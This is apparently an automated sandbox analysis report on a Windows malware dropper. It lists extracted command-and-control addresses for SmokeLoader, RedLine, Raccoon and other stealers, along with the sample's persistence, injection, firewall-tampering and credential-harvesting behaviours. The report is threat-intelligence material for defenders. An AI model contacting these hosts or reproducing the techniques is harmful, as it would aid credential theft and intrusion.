Analysis
-
max time kernel
66s -
max time network
154s -
platform
windows10-1703_x64 -
resource
win10-20231023-en -
resource tags
arch:x64arch:x86image:win10-20231023-enlocale:en-usos:windows10-1703-x64system -
submitted
09/11/2023, 21:56
Static task
static1
Behavioral task
behavioral1
Sample
7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe
Resource
win10-20231023-en
General
-
Target
7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe
-
Size
692KB
-
MD5
bd5a946eb938c5cb7ef9ce31411833bb
-
SHA1
fe8514989e64b08b27edfe559a309adcdbf7d546
-
SHA256
7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281
-
SHA512
f9289c4906497717c59fa50edfdbff0b339e2d3b1f6424bbda40ef153ed7bad9516c053beaa2ff424da56fc04bebbb7aeb012249f644970bc0a2d6024958a78d
-
SSDEEP
12288:xMr4y903gnV20KnNTISiShIv+eJmZIwPdrECY8/US2PgKqvuUUFGAY2TqTo5anEK:pyCmV20KnNTLiShIv+tTrpYuD2PgKqTL
Malware Config
Extracted
smokeloader
2022
http://5.42.92.190/fks/index.php
Extracted
redline
taiga
5.42.92.51:19057
Extracted
redline
pixelnew2.0
194.49.94.11:80
Extracted
redline
@ytlogsbot
194.169.175.235:42691
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Extracted
raccoon
23545d68ee8b777ffd2f74f9eb99e145
http://91.103.252.114:80/
-
user_agent
SunShineMoonLight
Signatures
-
DcRat 3 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
description ioc pid Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe 3576 schtasks.exe 3784 schtasks.exe -
Detect Mystic stealer payload 4 IoCs
resource yara_rule behavioral1/memory/1944-21-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family behavioral1/memory/1944-24-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family behavioral1/memory/1944-26-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family behavioral1/memory/1944-31-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family -
Detect ZGRat V1 15 IoCs
resource yara_rule behavioral1/memory/1768-690-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-691-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-693-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-695-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-697-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-699-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-701-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-703-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-705-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-708-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-711-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-715-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-717-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-720-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 behavioral1/memory/1768-723-0x000001D6675F0000-0x000001D6676CF000-memory.dmp family_zgrat_v1 -
Glupteba payload 5 IoCs
resource yara_rule behavioral1/memory/3084-262-0x0000000002EE0000-0x00000000037CB000-memory.dmp family_glupteba behavioral1/memory/3084-263-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/3084-338-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/3084-573-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/5076-718-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba -
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Raccoon Stealer payload 2 IoCs
resource yara_rule behavioral1/memory/2852-674-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon behavioral1/memory/2852-678-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 8 IoCs
resource yara_rule behavioral1/memory/604-39-0x0000000000400000-0x000000000043C000-memory.dmp family_redline behavioral1/files/0x000900000001ab46-78.dat family_redline behavioral1/memory/3388-79-0x00000000001C0000-0x00000000001FE000-memory.dmp family_redline behavioral1/memory/4588-84-0x0000000000540000-0x000000000059A000-memory.dmp family_redline behavioral1/files/0x000900000001ab46-88.dat family_redline behavioral1/memory/884-89-0x0000000000220000-0x000000000023E000-memory.dmp family_redline behavioral1/memory/3388-217-0x0000000000400000-0x0000000000447000-memory.dmp family_redline behavioral1/memory/4588-254-0x0000000000400000-0x0000000000469000-memory.dmp family_redline -
SectopRAT payload 3 IoCs
resource yara_rule behavioral1/files/0x000900000001ab46-78.dat family_sectoprat behavioral1/files/0x000900000001ab46-88.dat family_sectoprat behavioral1/memory/884-89-0x0000000000220000-0x000000000023E000-memory.dmp family_sectoprat -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Downloads MZ/PE file
-
Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 5028 netsh.exe -
Stops running service(s) 3 TTPs
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\automrunsing2022.ini.lnk D33E.exe -
Executes dropped EXE 22 IoCs
pid Process 2092 SC7kQ38.exe 320 Wt1Pu15.exe 1568 1Xj23iV2.exe 880 2Zq6904.exe 3480 6jL0mj3.exe 4188 7xg9RA48.exe 3388 3E9A.exe 4588 3F47.exe 884 411D.exe 4316 7434.exe 1540 InstallSetup5.exe 3036 toolspub2.exe 3084 31839b57a4f11171d6abc8bbc4451ee4.exe 2700 Broom.exe 2716 latestX.exe 4144 toolspub2.exe 5076 31839b57a4f11171d6abc8bbc4451ee4.exe 2180 CD80.exe 1348 D33E.exe 1844 client32.exe 3976 DA73.exe 1752 Conhost.exe -
Loads dropped DLL 7 IoCs
pid Process 4588 3F47.exe 4588 3F47.exe 1844 client32.exe 1844 client32.exe 1844 client32.exe 1844 client32.exe 1844 client32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" Wt1Pu15.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 7acd600e9bd0294940db3f6e6412ddcc96bedd661853ba251fdef51d476fb281.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" SC7kQ38.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1568 set thread context of 1944 1568 1Xj23iV2.exe 74 PID 3480 set thread context of 604 3480 6jL0mj3.exe 80 PID 3036 set thread context of 4144 3036 toolspub2.exe 99 PID 1752 set thread context of 2852 1752 Conhost.exe 114 -
Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2052 sc.exe 4512 sc.exe 756 sc.exe 1616 sc.exe 3396 sc.exe 3212 sc.exe 3684 sc.exe 5112 sc.exe 4496 sc.exe 4220 sc.exe 4028 sc.exe 2344 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
pid pid_target Process procid_target 2780 1944 WerFault.exe 74 2864 4588 WerFault.exe 87 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2Zq6904.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2Zq6904.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2Zq6904.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3576 schtasks.exe 3784 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 880 2Zq6904.exe 880 2Zq6904.exe 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found 3232 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3232 Process not Found -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 880 2Zq6904.exe 4144 toolspub2.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeDebugPrivilege 884 411D.exe Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeDebugPrivilege 3388 3E9A.exe Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found Token: SeShutdownPrivilege 3232 Process not Found Token: SeCreatePagefilePrivilege 3232 Process not Found -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1844 client32.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2700 Broom.exe -
Suspicious use of WriteProcessMemory 64 IoCs
